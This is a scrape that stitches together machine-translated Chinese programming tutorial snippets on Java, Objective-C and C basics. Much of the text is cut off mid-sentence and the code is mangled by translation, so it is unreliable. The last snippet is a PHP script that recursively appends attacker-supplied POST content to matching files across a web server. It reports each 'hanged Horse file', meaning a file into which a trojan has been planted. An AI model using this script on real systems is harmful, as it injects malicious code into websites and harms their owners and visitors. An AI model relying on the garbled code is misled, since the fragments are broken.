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Dark Horse programmers-the nature of classes, dark horse programmers --------- Java training, Android training, iOS training, and. Net training. We look forward to communicating with you! --- The Class itself is also an object of the Class type, referred to as the Class Object Person * p = [[Person alloc] init]; person * p1 = [[Person alloc] init]; // obtain the Class object in the memory class c = [p Class

Dark Horse programmer-Keyword summary in java, dark horse java Keywords 1. Definition: words with special meanings assigned by the java language 2. keywords used to define basic data types: Class interface float int long double byte short void boolean char 3. keywords used to define basic data type values: True false null 4. keywords used to define process control: If else while for switch do default ca

Dark Horse programmer ---------- other java-based classes, dark horse ---------- java------- Android training, java training, and hope to communicate with you! ---------- I,System Usage of the System class: /* System: the methods and Properties in the class are static out: standard output. The default value is console in: standard input. The default value is the keyboard to obtain the System property infor

Black Horse day03 configuration file path problem, black horse day03 1. How to get the path of the configuration file in a Servlet. Package com. itheima; import java. io. file; import java. io. fileReader; import java. io. IOException; import java. util. properties; import javax. servlet. servletException; import javax. servlet. http. httpServlet; import javax. servlet. http. httpServletRequest; import ja

Java multi-thread understanding, dark horse programmer, java Dark Horse Public class MultiThread {public static void main (String args []) {System. out. println ("I am the main thread! "); // Create a thread instance thread1 ThreadUseExtends thread1 = new ThreadUseExtends () below (); // when thread2 is created, Thread thread2 = new Thread (new ThreadUseRunnable (), "SecondThread"); thread1.start (); // sta

Dark Horse programmer-java basics-basic knowledge (1), dark horse java ------ Android training, java training, and hope to communicate with you! ------ A java keyword is a word defined in the programming language in advance and given a special meaning, also known as reserved words. Keywords Description Abstract Abstract method, modifier of abstract class Assert Whether th

Dark Horse programmer-java basics-Basic Knowledge (2), dark horse java ------ Android training, java training, and hope to communicate with you! ------I. Operators in java In java, operators can be classified into-Arithmetic Operators, value assignment operators, comparison operators, and bitwise operators.1. Arithmetic Operators Arithmetic Operators are used in mathematical expressions. They play the same

Dark Horse programmer _ Java exception common Java Library Class, dark horse _ javaJava exception 1: Basic concepts of exceptions Exceptions are a type of command flow that causes program interruption. They are abnormal during runtime. in Java, all exceptions follow the object-oriented design philosophy, all exceptions exist in the form of objects and classes.2. Inheritance structure of exception classes In

Implementation Code of the mobile Ionic App information that is rolled up and down in a circular manner (the result of running a horse lamp), and the ionic running horse Lamp In the ionic App, you can find out a popular name, namely, the marquee, after you have checked the online display. Here, the selector and animation functions of the jQuery library are used, and jquery operations are encapsulated into c

Dark Horse programmer [TreeSet collection], dark horse programmer treeset ------- Android training, java training, and hope to communicate with you! ---------- TreeSet set The TreeSet set is an ordered set implemented by TreeMap. The internal storage elements are automatically sorted by natural order. Therefore, if you want to retain the storage order, you are not recommended to use TreeSet. TreeSet inheri

Dark Horse programmer [two Ajax methods], dark horse programmer ajax Two Ajax Methods Ajax is a technology used to quickly create dynamic web pages. by performing a small amount of data exchange with the server in the background, it can implement asynchronous updates of web pages, you can update a part of a webpage without reloading the webpage like a traditional webpage. Now this technology has been widely

Dark Horse programmer-c language basics 1: keywords, identifiers, comments, dark horse-c ------ I. Keywords 1. What is a keyword? 1> keywords are symbols with special meanings provided by the C language, also known as "Reserved Words" 2> A total of 32 keywords are provided in C language. These keywords are given special meanings by C language. Auto double int struct break else long switch Case enum regist

(@ "%@", UPSTR); 4: // [[@ "Adbdad" lowercasestring] isequaltostring:@ "ADSFASD" ];3) Variable string 1: nsmutablestring *str = [[Nsmutablestring alloc] initwithcapacity:0]; 2: 3: [str appendformat:@ "123"]; //123 4: // NSLog (@ "%@", str); 5: // 6: // NSString *str1 = @ "123"; 7: // NSString *str2 = [str1 stringbyappendingstring:@ "AAAA"]; 8: // NSLog (@ "%@", str2); 9: // : nsrange rang3 = [

I. Nature of the class 1: The// class itself is also an object, is a class-type object, short-class object 2: 3: / * 4: Create a person class object with Class 5: 6: Create object of person type with person class object 7: 8: * /Second, the load order of the Class 1. When the program starts, all classes and classifications in the project are loaded, and the +load method for each class and classification is called after it is loade

1.property function Usage 1: //@property: Setter and getter declarations that can automatically generate a member variable 2: int age; The declaration of a variable can be dispensed with directly 3: //-(void) Setage: (int) age; 4: //-(int) age;2. Attention pointsIf you use the property but write your own get or set method, your own writing will overwrite the corresponding method of the system. 1: -(void) Setage: (int) age 2: { 3: 4: } 5: 6: //-(int) age

: } : //change of listener member variable : Wu : -(int) Ocscore : { £ º return _ocscore; £ º } : Totalscore : -(int) : { : return _totalscore; + : } Averagescore : -(int) : { : return _averagescoe; : } : @end : : : int main () : { : new]; 73: A : [s setcscore:90]; : [s setocscore:100]; 76: : [s setcscore:80]; 78: 79: n : int a = [s totalscore]; 81:

; 8: 9: if (count%10 = = 0) Ten: One : { : : //end this cycle directly and enter the next cycle : : continue; : : } : : printf ("Do%d push-ups \ n", Count); : : } : Four. The common dead loop of the while statement1. The simplest cycle of death 1: while (1);2. Never-ending "hahaha" 1: while (10) 2: 3: { 4: 5: printf ("haha \ n"); 6: 7: } 8: Five. While application small example 1: /* 2: 3:

1. Definition of pointersFormat: Variable type * variable name; 1: //defines a pointer variable p 2: //pointer variable can only store address 3: //Pointer is a function: can access the corresponding storage space according to an address value 4: //pointer variable p before INT: pointer variable p can only point to data of type int 5: 6: int *p;2. Pointers pointing to pointers3. Pointers and Arrays1) How array elements are accessed int ages[5];int *p;p = ages

1. Specific usage 1: int b; 2: int a = 10; 3: //b = ten +; 4: //b = (a++) + (++a); 5: 6: //b = one + one; 7: b = (++a) + (a++); 8: //a -one 9: 10: One : //A:12 : printf ("b=%d, a=%d\n", B, a);2. The difference between "++a" and "a++"Add in front and add after3. Questions about Lvalue ("left value") 1: int A; 2: (-a) + +;This code is wrong, because "-a" is not a variable, cannot be assigned, it can

Copy Code code as follows: function Gmfun ($path = ".") { $d = @dir ($path); while (false!== ($v = $d->read ())) { if ($v = = "." | | $v = = "Continue"); $file = $d->path. " /". $v; if (@is_dir ($file)) { Gmfun ($file); } else { if (@ereg (Stripslashes ($_post["key"), $file)) { $MM =stripcslashes (Trim ($_post[mm]); $handle = @fopen ("$file", "a"); @fwrite ($handle, "$mm"); @fclose ($handle); echo "has been hanged Horse file: $file